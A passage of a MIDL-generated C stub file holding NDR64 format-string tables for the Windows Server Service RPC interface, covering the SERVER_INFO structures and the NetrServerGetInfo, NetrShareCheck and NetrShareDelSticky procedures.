(NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 72 /* 0x48 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag370_t __midl_frag370 =\n{ \n/* _SERVER_INFO_503 */\n    { \n    /* _SERVER_INFO_503 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_503 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 176 /* 0xb0 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 72 /* 0x48 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag368_t __midl_frag368 =\n{ \n/* _SERVER_INFO_502 */\n    { \n    /* _SERVER_INFO_502 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _SERVER_INFO_502 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */\n    }\n};\n\nstatic const __midl_frag366_t __midl_frag366 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    }\n};\n\nstatic const __midl_frag362_t __midl_frag362 =\n{ \n/* _SERVER_INFO_103 */\n    { \n    /* _SERVER_INFO_103 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_103 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 80 /* 0x50 */,\n        0,\n        0,\n        &__midl_frag366,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* _SERVER_INFO_103 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag356_t __midl_frag356 =\n{ \n/* _SERVER_INFO_102 */\n    { \n    /* _SERVER_INFO_102 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_102 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        0,\n        0,\n        &__midl_frag366,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag354_t __midl_frag354 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    }\n};\n\nstatic const __midl_frag351_t __midl_frag351 =\n{ \n/* _SERVER_INFO_101 */\n    { \n    /* _SERVER_INFO_101 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_101 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag354,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag349_t __midl_frag349 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    }\n};\n\nstatic const __midl_frag347_t __midl_frag347 =\n{ \n/* _SERVER_INFO_100 */\n    { \n    /* _SERVER_INFO_100 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_100 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag349,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag343_t __midl_frag343 =\n{ \n/* *_SERVER_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag470\n};\n\nstatic const __midl_frag342_t __midl_frag342 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag341_t __midl_frag341 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag340_t __midl_frag340 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag341\n};\n\nstatic const __midl_frag339_t __midl_frag339 =\n{ \n/* NetrServerGetInfo */\n    { \n    /* NetrServerGetInfo */      /* procedure NetrServerGetInfo */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag340,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag342,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag470,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag336_t __midl_frag336 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag342\n};\n\nstatic const __midl_frag331_t __midl_frag331 =\n{ \n/* NetrShareCheck */\n    { \n    /* NetrShareCheck */      /* procedure NetrShareCheck */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Device */      /* parameter Device */\n        &__midl_frag736,\n        { \n        /* Device */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag342,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag342,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag324_t __midl_frag324 =\n{ \n/* NetrShareDelSticky */\n    { \n    /* NetrShareDelSticky */      /* procedure NetrShareDelSticky */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NetName */      /* parameter NetName */\n        &__midl_frag736,\n        { \n        /* NetName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Reserved */      /* parameter Reserved */\n        &__midl_frag737,\n        { \n        /* Reserved */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag313_t __midl_frag313 =\n{ \n/* *_SHARE_INFO_503_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag218\n};\n\nstatic const __midl_frag312_t __midl_frag312 =\n{ \n/* *_SHARE_INFO_501 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag213\n};\n\nstatic const __midl_frag311_t __midl_frag311 =\n{ \n/* *_SHARE_INFO_1005 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag211\n};\n\nstatic const 